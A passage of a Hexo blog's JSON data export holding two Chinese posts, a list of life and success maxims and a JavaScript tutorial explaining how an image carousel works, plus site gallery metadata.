4、这个社会，是赢家通吃，输者一无所有，社会，永远都是只以成败论英雄。过程只是人生的一部分，再辛苦，没有成功只能说明你的能力还不够。\n\n* 5、这个世界上，一流的人才，可以把三流项目做成二流或更好，但是，三流人才，会把一流项目，做的还不如三流。\n\n* 6、趁着年轻，多出去走走看看，读万卷书，不如行万里路，行万里路，不如阅人无数。\n\n* 7、与人交往的时候，多听少说，这就是，上帝为什么给我们一个嘴巴两个耳朵的原因。\n\n* 8、不要装13，对于装13的人，最好的办法就是，见块砖头，悄悄跟上去，一下子从背后放到他。\n\n* 9、一个年轻人，如果三年的时间里，没有任何想法，他这一生，就基本这个样子，没有多大改变了。\n\n* 10、成功者就是胆识加魄力。\n\n* 11、给自己定一个五年的目标，然后，把它分解成一年一年，半年半年的，三个月的，一个月的，这样，你才能找到自己的目标和方向。\n\n* 12、如果我只能送你一句忠告，那就是，这个世界上没有免费的午餐，永远不要走捷径。\n\n### 忠告\n\n* 1、给自己定目标，一年、两年、五年，也许你出生不如别人好，通过努力，往往可以改变70%的命运，破罐子破摔只能和懦弱做朋友。\n\n* 2、朋友请你吃饭，不要觉得理所当然，请礼尚往来，否则你的名声会越来越差。\n\n* 3、好朋友里面，一定要培养出一个知己，不要以为你有多么八面玲珑，到处是朋友，最后真心对你的，只要一个，相信我。\n\n* 4、不喜欢的人少接触，但别在背后说坏话，说是非之人，必定是是非之人，谨记，祸从口出。\n\n* 5、是人都有惰性，这是与生俱来的，但是我们后天可以改变这种惰性，因为有很多人正在改变，对于某种事物或是生意不要等别人做到了，我才想到，不要等别人已经赚到钱了，我才想去做，没有人相信的是市场和机遇，大家都相信的叫做膨胀。\n\n* 6、知道自己要干什么，夜深人静，问问自己，将来的打算，并朝着那个方向去实现，而不是无所事事和做一些无谓的事。\n\n* 7、出路出路，走出去了，总是会有路的，困难苦难，困在家里就是难，社会普遍认为。\n\n* 8、做人，要做到；万事孝为先，教童品之道，夫妻和谐美，幸福万年长。但是这些不是拿来用嘴说说就能办到的，解放初期年代要做到这些，需要付出很大的努力和辛苦，当今现实的社会需要你付出很大的金钱，聪明的人都知道这个道理。\n\n* 9、空闲时间不要经常上网做无聊的事和玩一些没有意义的游戏，读点文学作品，学习一些经营流程，管理规范，国际时事，法律常识。这能保证你在任何聚会都有谈资。\n\n* 10、宁可错杀一千次来自各方面的信息，也不放过任何一个有可能成功的机会。只有这样你才不会去买后悔药。\n\n* 11、要做一件事，成功之前，没有必要告诉其他人。成功之后不用你说，其他人都会知道的。这就是信息时代所带来的效应。\n\n* 12、力求上进的人，不要总想着靠谁谁，人都是自私的，自己才是最靠得住的人。\n\n### 小结\n> 二十岁没钱，那很正常；三十岁没钱，可能是没有好的家境，需要更大的努力；四十岁没钱，只能自己找原因。穷人变成富人是可能的，而且很可能。穷人能穷一辈子，也是必然的，存在就是理由，只是有所选择。\n","source":"_posts/董思阳的忠告.md","raw":"---\ntitle: 董思阳的忠告\ndate: 2017-10-19 10:56:00\ntags: [哲理]\ncategories: 生活\n---\n\n### 关于成功\n\n* 1、记住，平均每天看电视超过三小时以上的，一定都是那些月收入不超过两千元的，如果你想要月收入超过两千，请不要把时间浪费在电视上，同样的道理，那些平均每天玩网络游戏或聊天超过三个小时以上的，也都是那些月收入不超过两千的。\n\n* 2、这个世界，有这么一小撮的人，打开报纸，是他们的消息，打开电视，是他们的消息，街头巷尾，议论的事他们的消息，仿佛世界是为他们准备的，他们能够呼风唤雨，无所不能。你的目标，应该是努力成为这一小撮人。\n\n* 3、如果，你真的爱你的爸妈，爱你的女朋友，就好好得去奋斗，去拼搏吧，这样，你才有能力，有经济条件，有自由时间，去陪她们，去好好爱他们。\n\n* 4、这个社会，是赢家通吃，输者一无所有，社会，永远都是只以成败论英雄。过程只是人生的一部分，再辛苦，没有成功只能说明你的能力还不够。\n\n* 5、这个世界上，一流的人才，可以把三流项目做成二流或更好，但是，三流人才，会把一流项目，做的还不如三流。\n\n* 6、趁着年轻，多出去走走看看，读万卷书，不如行万里路，行万里路，不如阅人无数。\n\n* 7、与人交往的时候，多听少说，这就是，上帝为什么给我们一个嘴巴两个耳朵的原因。\n\n* 8、不要装13，对于装13的人，最好的办法就是，见块砖头，悄悄跟上去，一下子从背后放到他。\n\n* 9、一个年轻人，如果三年的时间里，没有任何想法，他这一生，就基本这个样子，没有多大改变了。\n\n* 10、成功者就是胆识加魄力。\n\n* 11、给自己定一个五年的目标，然后，把它分解成一年一年，半年半年的，三个月的，一个月的，这样，你才能找到自己的目标和方向。\n\n* 12、如果我只能送你一句忠告，那就是，这个世界上没有免费的午餐，永远不要走捷径。\n\n### 忠告\n\n* 1、给自己定目标，一年、两年、五年，也许你出生不如别人好，通过努力，往往可以改变70%的命运，破罐子破摔只能和懦弱做朋友。\n\n* 2、朋友请你吃饭，不要觉得理所当然，请礼尚往来，否则你的名声会越来越差。\n\n* 3、好朋友里面，一定要培养出一个知己，不要以为你有多么八面玲珑，到处是朋友，最后真心对你的，只要一个，相信我。\n\n* 4、不喜欢的人少接触，但别在背后说坏话，说是非之人，必定是是非之人，谨记，祸从口出。\n\n* 5、是人都有惰性，这是与生俱来的，但是我们后天可以改变这种惰性，因为有很多人正在改变，对于某种事物或是生意不要等别人做到了，我才想到，不要等别人已经赚到钱了，我才想去做，没有人相信的是市场和机遇，大家都相信的叫做膨胀。\n\n* 6、知道自己要干什么，夜深人静，问问自己，将来的打算，并朝着那个方向去实现，而不是无所事事和做一些无谓的事。\n\n* 7、出路出路，走出去了，总是会有路的，困难苦难，困在家里就是难，社会普遍认为。\n\n* 8、做人，要做到；万事孝为先，教童品之道，夫妻和谐美，幸福万年长。但是这些不是拿来用嘴说说就能办到的，解放初期年代要做到这些，需要付出很大的努力和辛苦，当今现实的社会需要你付出很大的金钱，聪明的人都知道这个道理。\n\n* 9、空闲时间不要经常上网做无聊的事和玩一些没有意义的游戏，读点文学作品，学习一些经营流程，管理规范，国际时事，法律常识。这能保证你在任何聚会都有谈资。\n\n* 10、宁可错杀一千次来自各方面的信息，也不放过任何一个有可能成功的机会。只有这样你才不会去买后悔药。\n\n* 11、要做一件事，成功之前，没有必要告诉其他人。成功之后不用你说，其他人都会知道的。这就是信息时代所带来的效应。\n\n* 12、力求上进的人，不要总想着靠谁谁，人都是自私的，自己才是最靠得住的人。\n\n### 小结\n> 二十岁没钱，那很正常；三十岁没钱，可能是没有好的家境，需要更大的努力；四十岁没钱，只能自己找原因。穷人变成富人是可能的，而且很可能。穷人能穷一辈子，也是必然的，存在就是理由，只是有所选择。\n","slug":"董思阳的忠告","published":1,"updated":"2018-01-22T06:43:00.546Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y7h0052vzqhg122vhhg","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h3 id=\"关于成功\"><a href=\"#关于成功\" class=\"headerlink\" title=\"关于成功\"></a>关于成功</h3><ul>\n<li><p>1、记住，平均每天看电视超过三小时以上的，一定都是那些月收入不超过两千元的，如果你想要月收入超过两千，请不要把时间浪费在电视上，同样的道理，那些平均每天玩网络游戏或聊天超过三个小时以上的，也都是那些月收入不超过两千的。</p>\n</li>\n<li><p>2、这个世界，有这么一小撮的人，打开报纸，是他们的消息，打开电视，是他们的消息，街头巷尾，议论的事他们的消息，仿佛世界是为他们准备的，他们能够呼风唤雨，无所不能。你的目标，应该是努力成为这一小撮人。</p>\n</li>\n<li><p>3、如果，你真的爱你的爸妈，爱你的女朋友，就好好得去奋斗，去拼搏吧，这样，你才有能力，有经济条件，有自由时间，去陪她们，去好好爱他们。</p>\n</li>\n<li><p>4、这个社会，是赢家通吃，输者一无所有，社会，永远都是只以成败论英雄。过程只是人生的一部分，再辛苦，没有成功只能说明你的能力还不够。</p>\n</li>\n<li><p>5、这个世界上，一流的人才，可以把三流项目做成二流或更好，但是，三流人才，会把一流项目，做的还不如三流。</p>\n</li>\n<li><p>6、趁着年轻，多出去走走看看，读万卷书，不如行万里路，行万里路，不如阅人无数。</p>\n</li>\n<li><p>7、与人交往的时候，多听少说，这就是，上帝为什么给我们一个嘴巴两个耳朵的原因。</p>\n</li>\n<li><p>8、不要装13，对于装13的人，最好的办法就是，见块砖头，悄悄跟上去，一下子从背后放到他。</p>\n</li>\n<li><p>9、一个年轻人，如果三年的时间里，没有任何想法，他这一生，就基本这个样子，没有多大改变了。</p>\n</li>\n<li><p>10、成功者就是胆识加魄力。</p>\n</li>\n<li><p>11、给自己定一个五年的目标，然后，把它分解成一年一年，半年半年的，三个月的，一个月的，这样，你才能找到自己的目标和方向。</p>\n</li>\n<li><p>12、如果我只能送你一句忠告，那就是，这个世界上没有免费的午餐，永远不要走捷径。</p>\n</li>\n</ul>\n<h3 id=\"忠告\"><a href=\"#忠告\" class=\"headerlink\" title=\"忠告\"></a>忠告</h3><ul>\n<li><p>1、给自己定目标，一年、两年、五年，也许你出生不如别人好，通过努力，往往可以改变70%的命运，破罐子破摔只能和懦弱做朋友。</p>\n</li>\n<li><p>2、朋友请你吃饭，不要觉得理所当然，请礼尚往来，否则你的名声会越来越差。</p>\n</li>\n<li><p>3、好朋友里面，一定要培养出一个知己，不要以为你有多么八面玲珑，到处是朋友，最后真心对你的，只要一个，相信我。</p>\n</li>\n<li><p>4、不喜欢的人少接触，但别在背后说坏话，说是非之人，必定是是非之人，谨记，祸从口出。</p>\n</li>\n<li><p>5、是人都有惰性，这是与生俱来的，但是我们后天可以改变这种惰性，因为有很多人正在改变，对于某种事物或是生意不要等别人做到了，我才想到，不要等别人已经赚到钱了，我才想去做，没有人相信的是市场和机遇，大家都相信的叫做膨胀。</p>\n</li>\n<li><p>6、知道自己要干什么，夜深人静，问问自己，将来的打算，并朝着那个方向去实现，而不是无所事事和做一些无谓的事。</p>\n</li>\n<li><p>7、出路出路，走出去了，总是会有路的，困难苦难，困在家里就是难，社会普遍认为。</p>\n</li>\n<li><p>8、做人，要做到；万事孝为先，教童品之道，夫妻和谐美，幸福万年长。但是这些不是拿来用嘴说说就能办到的，解放初期年代要做到这些，需要付出很大的努力和辛苦，当今现实的社会需要你付出很大的金钱，聪明的人都知道这个道理。</p>\n</li>\n<li><p>9、空闲时间不要经常上网做无聊的事和玩一些没有意义的游戏，读点文学作品，学习一些经营流程，管理规范，国际时事，法律常识。这能保证你在任何聚会都有谈资。</p>\n</li>\n<li><p>10、宁可错杀一千次来自各方面的信息，也不放过任何一个有可能成功的机会。只有这样你才不会去买后悔药。</p>\n</li>\n<li><p>11、要做一件事，成功之前，没有必要告诉其他人。成功之后不用你说，其他人都会知道的。这就是信息时代所带来的效应。</p>\n</li>\n<li><p>12、力求上进的人，不要总想着靠谁谁，人都是自私的，自己才是最靠得住的人。</p>\n</li>\n</ul>\n<h3 id=\"小结\"><a href=\"#小结\" class=\"headerlink\" title=\"小结\"></a>小结</h3><blockquote>\n<p>二十岁没钱，那很正常；三十岁没钱，可能是没有好的家境，需要更大的努力；四十岁没钱，只能自己找原因。穷人变成富人是可能的，而且很可能。穷人能穷一辈子，也是必然的，存在就是理由，只是有所选择。</p>\n</blockquote>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h3 id=\"关于成功\"><a href=\"#关于成功\" class=\"headerlink\" title=\"关于成功\"></a>关于成功</h3><ul>\n<li><p>1、记住，平均每天看电视超过三小时以上的，一定都是那些月收入不超过两千元的，如果你想要月收入超过两千，请不要把时间浪费在电视上，同样的道理，那些平均每天玩网络游戏或聊天超过三个小时以上的，也都是那些月收入不超过两千的。</p>\n</li>\n<li><p>2、这个世界，有这么一小撮的人，打开报纸，是他们的消息，打开电视，是他们的消息，街头巷尾，议论的事他们的消息，仿佛世界是为他们准备的，他们能够呼风唤雨，无所不能。你的目标，应该是努力成为这一小撮人。</p>\n</li>\n<li><p>3、如果，你真的爱你的爸妈，爱你的女朋友，就好好得去奋斗，去拼搏吧，这样，你才有能力，有经济条件，有自由时间，去陪她们，去好好爱他们。</p>\n</li>\n<li><p>4、这个社会，是赢家通吃，输者一无所有，社会，永远都是只以成败论英雄。过程只是人生的一部分，再辛苦，没有成功只能说明你的能力还不够。</p>\n</li>\n<li><p>5、这个世界上，一流的人才，可以把三流项目做成二流或更好，但是，三流人才，会把一流项目，做的还不如三流。</p>\n</li>\n<li><p>6、趁着年轻，多出去走走看看，读万卷书，不如行万里路，行万里路，不如阅人无数。</p>\n</li>\n<li><p>7、与人交往的时候，多听少说，这就是，上帝为什么给我们一个嘴巴两个耳朵的原因。</p>\n</li>\n<li><p>8、不要装13，对于装13的人，最好的办法就是，见块砖头，悄悄跟上去，一下子从背后放到他。</p>\n</li>\n<li><p>9、一个年轻人，如果三年的时间里，没有任何想法，他这一生，就基本这个样子，没有多大改变了。</p>\n</li>\n<li><p>10、成功者就是胆识加魄力。</p>\n</li>\n<li><p>11、给自己定一个五年的目标，然后，把它分解成一年一年，半年半年的，三个月的，一个月的，这样，你才能找到自己的目标和方向。</p>\n</li>\n<li><p>12、如果我只能送你一句忠告，那就是，这个世界上没有免费的午餐，永远不要走捷径。</p>\n</li>\n</ul>\n<h3 id=\"忠告\"><a href=\"#忠告\" class=\"headerlink\" title=\"忠告\"></a>忠告</h3><ul>\n<li><p>1、给自己定目标，一年、两年、五年，也许你出生不如别人好，通过努力，往往可以改变70%的命运，破罐子破摔只能和懦弱做朋友。</p>\n</li>\n<li><p>2、朋友请你吃饭，不要觉得理所当然，请礼尚往来，否则你的名声会越来越差。</p>\n</li>\n<li><p>3、好朋友里面，一定要培养出一个知己，不要以为你有多么八面玲珑，到处是朋友，最后真心对你的，只要一个，相信我。</p>\n</li>\n<li><p>4、不喜欢的人少接触，但别在背后说坏话，说是非之人，必定是是非之人，谨记，祸从口出。</p>\n</li>\n<li><p>5、是人都有惰性，这是与生俱来的，但是我们后天可以改变这种惰性，因为有很多人正在改变，对于某种事物或是生意不要等别人做到了，我才想到，不要等别人已经赚到钱了，我才想去做，没有人相信的是市场和机遇，大家都相信的叫做膨胀。</p>\n</li>\n<li><p>6、知道自己要干什么，夜深人静，问问自己，将来的打算，并朝着那个方向去实现，而不是无所事事和做一些无谓的事。</p>\n</li>\n<li><p>7、出路出路，走出去了，总是会有路的，困难苦难，困在家里就是难，社会普遍认为。</p>\n</li>\n<li><p>8、做人，要做到；万事孝为先，教童品之道，夫妻和谐美，幸福万年长。但是这些不是拿来用嘴说说就能办到的，解放初期年代要做到这些，需要付出很大的努力和辛苦，当今现实的社会需要你付出很大的金钱，聪明的人都知道这个道理。</p>\n</li>\n<li><p>9、空闲时间不要经常上网做无聊的事和玩一些没有意义的游戏，读点文学作品，学习一些经营流程，管理规范，国际时事，法律常识。这能保证你在任何聚会都有谈资。</p>\n</li>\n<li><p>10、宁可错杀一千次来自各方面的信息，也不放过任何一个有可能成功的机会。只有这样你才不会去买后悔药。</p>\n</li>\n<li><p>11、要做一件事，成功之前，没有必要告诉其他人。成功之后不用你说，其他人都会知道的。这就是信息时代所带来的效应。</p>\n</li>\n<li><p>12、力求上进的人，不要总想着靠谁谁，人都是自私的，自己才是最靠得住的人。</p>\n</li>\n</ul>\n<h3 id=\"小结\"><a href=\"#小结\" class=\"headerlink\" title=\"小结\"></a>小结</h3><blockquote>\n<p>二十岁没钱，那很正常；三十岁没钱，可能是没有好的家境，需要更大的努力；四十岁没钱，只能自己找原因。穷人变成富人是可能的，而且很可能。穷人能穷一辈子，也是必然的，存在就是理由，只是有所选择。</p>\n</blockquote>\n"},{"title":"解析卡片式轮播图","date":"2017-06-24T15:18:35.000Z","_content":"\n> 小记：前两天面试，展现项目过程中经理问我轮播图的原理，我一脸懵逼，因为当时有现成的插件，所以我没怎么去研究，当然，我也知道该来的还是要来的...\n\n首先我大概讲一下，传统轮播图的主要部分：\n* 图片（废话）\n* 左右两边的button\n* 可以跳转的小点\n[demo](http://jzxer.cn/card/)\n\n### 原理\n* 轮播图的原理就是一个长图，里面有很多张图，外面包一层展示窗口，将属性设置成overflow：hidden，达到只显示一张的效果，当点击左右两边的按钮时会按照像素来跳转\n\n### 无限滚动\n* 我给两个按钮设为 <b>prev next</b> 一个在点击后，长图会增加一张图的宽度，一个是减少一个图的宽度,在图片的头和尾部加一张图，结构大概为：\n```\n<div id=\"list\" style=\"left:-200px\">\n      <img src=\"./img/5.jpg\" alt=\"\">\n      <img src=\"./img/1.jpg\" alt=\"\">\n      <img src=\"./img/2.jpg\" alt=\"\">\n      <img src=\"./img/3.jpg\" alt=\"\">\n      <img src=\"./img/4.jpg\" alt=\"\">\n      <img src=\"./img/5.jpg\" alt=\"\">\n      <img src=\"./img/1.jpg\" alt=\"\">\n    </div>\n```\n当是最后一张图或第一张图时，将第一张上一张跳转为最后一张时的宽，最后一张跳转为第一张时的宽\n```\nif (newList < -1000) {\n          dot = 1\n          list.style.left = -200 + 'px'\n        }\n        if (newList > -200) {\n          dot = 5\n          list.style.left = -1000 + 'px'\n        }\n```\n\n### 小按钮切换\n这要实现的思想有\n* 点了小按钮，背景色会变\n* 当点击切换到其他按钮，图片切换，且上一个按钮会变回原来的颜色\n\n```\nfunction showBtn() {\n        for (var i = 0; i < btns.length; i++) {\n          if (btns[i].className == 'show-btn') {\n            btns[i].className = ''\n            break\n          }\n        }\n        btns[dot-1].className = 'show-btn'\n      }\n//遍历数组，将有该属性设为空\n\nfor (var i = 0; i < btns.length; i++) {\n        btns[i].onclick = function () {\n          if (this.className == 'showBtn') {\n            return\n          }\n          var myIndex = parseInt(this.getAttribute('index'))\n          var leng = -200 * (myIndex - dot)\n          animate(leng)\n          dot = myIndex\n          showBtn()\n        }\n      }\n//遍历数组，将每一个小按钮设了个index属性，这里用到 getAttribute 可以获取除了普通style 或 class 之外的一些属性，获取index值，点击时得到当前的index值，正好和当前的dot值相减，可得跳转的距离 \n```\n> 这里要注意的是，当小按钮被重复按的时候，给他一个判断，不然重复点击同一个图标会重复发生相同事件，占内存，耗cpu\n\n### 延迟动画函数\n就是当用户点击时，有一个慢慢偏移的过程，而不是闪现的动作，我们来看看实现原理\n\n* 首先，定义参数\n```\nvar time = 300  //位移总时间\nvar interval = 10  //位移时间间隔\nvar speed = leng/(time/interval)  //每次位移量，就是一共调用多少次的意思\n```\n\n* 设置递归函数\n```\nif ((speed < 0 && parseInt(list.style.left) > newList) || (speed > 0 && parseInt(list.style.left) < newList)) {\n            list.style.left = parseInt(list.style.left) + speed + 'px'\n            setTimeout(go, interval)  //递归,调用自身函数\n```\n\n* 判断是否仍在动画\n如果用户一直在点击切换图时，如果电脑配置不好，或是其他一些因素，可能会轮播卡顿，为了防止这一现象，就用一个判断来看上一次动画是否完成，若未完成就不能继续切换，等到这次动画跳转完为止\n```\nvar animated = false   //设初值\n\nif(!animated) {\n  animate(200)\n}    //如果为false，则继续动画\n```\n\n### 自动播放\n首先给个思路，当鼠标移入的时候，自动播放停止，移出的时候开始自动播放\n* 我们设两个函数，play（） 和 stop（） \n```\nfunction play() {\n        timer = setTimeout(function() {\n          next.onclick()\n          play()\n        },interval)\n      }\n      function stop() {\n        clearTimeout(timer)\n      }\n```\n给整个 container 容器添加该鼠标事件\n\n这年头还是不能偷懒啊，说不定当时知道这个人家就把给我要了呢，好气哦...\n\n> 改天再研究下旋转木马的那种装个13...\n","source":"_posts/论轮播图的原理.md","raw":"---\ntitle: 解析卡片式轮播图\ndate: 2017-06-24 23:18:35\ntags: [轮播图]\ncategories: JS\n---\n\n> 小记：前两天面试，展现项目过程中经理问我轮播图的原理，我一脸懵逼，因为当时有现成的插件，所以我没怎么去研究，当然，我也知道该来的还是要来的...\n\n首先我大概讲一下，传统轮播图的主要部分：\n* 图片（废话）\n* 左右两边的button\n* 可以跳转的小点\n[demo](http://jzxer.cn/card/)\n\n### 原理\n* 轮播图的原理就是一个长图，里面有很多张图，外面包一层展示窗口，将属性设置成overflow：hidden，达到只显示一张的效果，当点击左右两边的按钮时会按照像素来跳转\n\n### 无限滚动\n* 我给两个按钮设为 <b>prev next</b> 一个在点击后，长图会增加一张图的宽度，一个是减少一个图的宽度,在图片的头和尾部加一张图，结构大概为：\n```\n<div id=\"list\" style=\"left:-200px\">\n      <img src=\"./img/5.jpg\" alt=\"\">\n      <img src=\"./img/1.jpg\" alt=\"\">\n      <img src=\"./img/2.jpg\" alt=\"\">\n      <img src=\"./img/3.jpg\" alt=\"\">\n      <img src=\"./img/4.jpg\" alt=\"\">\n      <img src=\"./img/5.jpg\" alt=\"\">\n      <img src=\"./img/1.jpg\" alt=\"\">\n    </div>\n```\n当是最后一张图或第一张图时，将第一张上一张跳转为最后一张时的宽，最后一张跳转为第一张时的宽\n```\nif (newList < -1000) {\n          dot = 1\n          list.style.left = -200 + 'px'\n        }\n        if (newList > -200) {\n          dot = 5\n          list.style.left = -1000 + 'px'\n        }\n```\n\n### 小按钮切换\n这要实现的思想有\n* 点了小按钮，背景色会变\n* 当点击切换到其他按钮，图片切换，且上一个按钮会变回原来的颜色\n\n```\nfunction showBtn() {\n        for (var i = 0; i < btns.length; i++) {\n          if (btns[i].className == 'show-btn') {\n            btns[i].className = ''\n            break\n          }\n        }\n        btns[dot-1].className = 'show-btn'\n      }\n//遍历数组，将有该属性设为空\n\nfor (var i = 0; i < btns.length; i++) {\n        btns[i].onclick = function () {\n          if (this.className == 'showBtn') {\n            return\n          }\n          var myIndex = parseInt(this.getAttribute('index'))\n          var leng = -200 * (myIndex - dot)\n          animate(leng)\n          dot = myIndex\n          showBtn()\n        }\n      }\n//遍历数组，将每一个小按钮设了个index属性，这里用到 getAttribute 可以获取除了普通style 或 class 之外的一些属性，获取index值，点击时得到当前的index值，正好和当前的dot值相减，可得跳转的距离 \n```\n> 这里要注意的是，当小按钮被重复按的时候，给他一个判断，不然重复点击同一个图标会重复发生相同事件，占内存，耗cpu\n\n### 延迟动画函数\n就是当用户点击时，有一个慢慢偏移的过程，而不是闪现的动作，我们来看看实现原理\n\n* 首先，定义参数\n```\nvar time = 300  //位移总时间\nvar interval = 10  //位移时间间隔\nvar speed = leng/(time/interval)  //每次位移量，就是一共调用多少次的意思\n```\n\n* 设置递归函数\n```\nif ((speed < 0 && parseInt(list.style.left) > newList) || (speed > 0 && parseInt(list.style.left) < newList)) {\n            list.style.left = parseInt(list.style.left) + speed + 'px'\n            setTimeout(go, interval)  //递归,调用自身函数\n```\n\n* 判断是否仍在动画\n如果用户一直在点击切换图时，如果电脑配置不好，或是其他一些因素，可能会轮播卡顿，为了防止这一现象，就用一个判断来看上一次动画是否完成，若未完成就不能继续切换，等到这次动画跳转完为止\n```\nvar animated = false   //设初值\n\nif(!animated) {\n  animate(200)\n}    //如果为false，则继续动画\n```\n\n### 自动播放\n首先给个思路，当鼠标移入的时候，自动播放停止，移出的时候开始自动播放\n* 我们设两个函数，play（） 和 stop（） \n```\nfunction play() {\n        timer = setTimeout(function() {\n          next.onclick()\n          play()\n        },interval)\n      }\n      function stop() {\n        clearTimeout(timer)\n      }\n```\n给整个 container 容器添加该鼠标事件\n\n这年头还是不能偷懒啊，说不定当时知道这个人家就把给我要了呢，好气哦...\n\n> 改天再研究下旋转木马的那种装个13...\n","slug":"论轮播图的原理","published":1,"updated":"2018-01-22T06:43:23.545Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y7i0055vzqh7y2wbv2f","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><blockquote>\n<p>小记：前两天面试，展现项目过程中经理问我轮播图的原理，我一脸懵逼，因为当时有现成的插件，所以我没怎么去研究，当然，我也知道该来的还是要来的…</p>\n</blockquote>\n<p>首先我大概讲一下，传统轮播图的主要部分：</p>\n<ul>\n<li>图片（废话）</li>\n<li>左右两边的button</li>\n<li>可以跳转的小点<br><a href=\"http://jzxer.cn/card/\" target=\"_blank\" rel=\"noopener\">demo</a></li>\n</ul>\n<h3 id=\"原理\"><a href=\"#原理\" class=\"headerlink\" title=\"原理\"></a>原理</h3><ul>\n<li>轮播图的原理就是一个长图，里面有很多张图，外面包一层展示窗口，将属性设置成overflow：hidden，达到只显示一张的效果，当点击左右两边的按钮时会按照像素来跳转</li>\n</ul>\n<h3 id=\"无限滚动\"><a href=\"#无限滚动\" class=\"headerlink\" title=\"无限滚动\"></a>无限滚动</h3><ul>\n<li>我给两个按钮设为 <b>prev next</b> 一个在点击后，长图会增加一张图的宽度，一个是减少一个图的宽度,在图片的头和尾部加一张图，结构大概为：<pre><code>&lt;div id=&quot;list&quot; style=&quot;left:-200px&quot;&gt;\n    &lt;img src=&quot;./img/5.jpg&quot; alt=&quot;&quot;&gt;\n    &lt;img 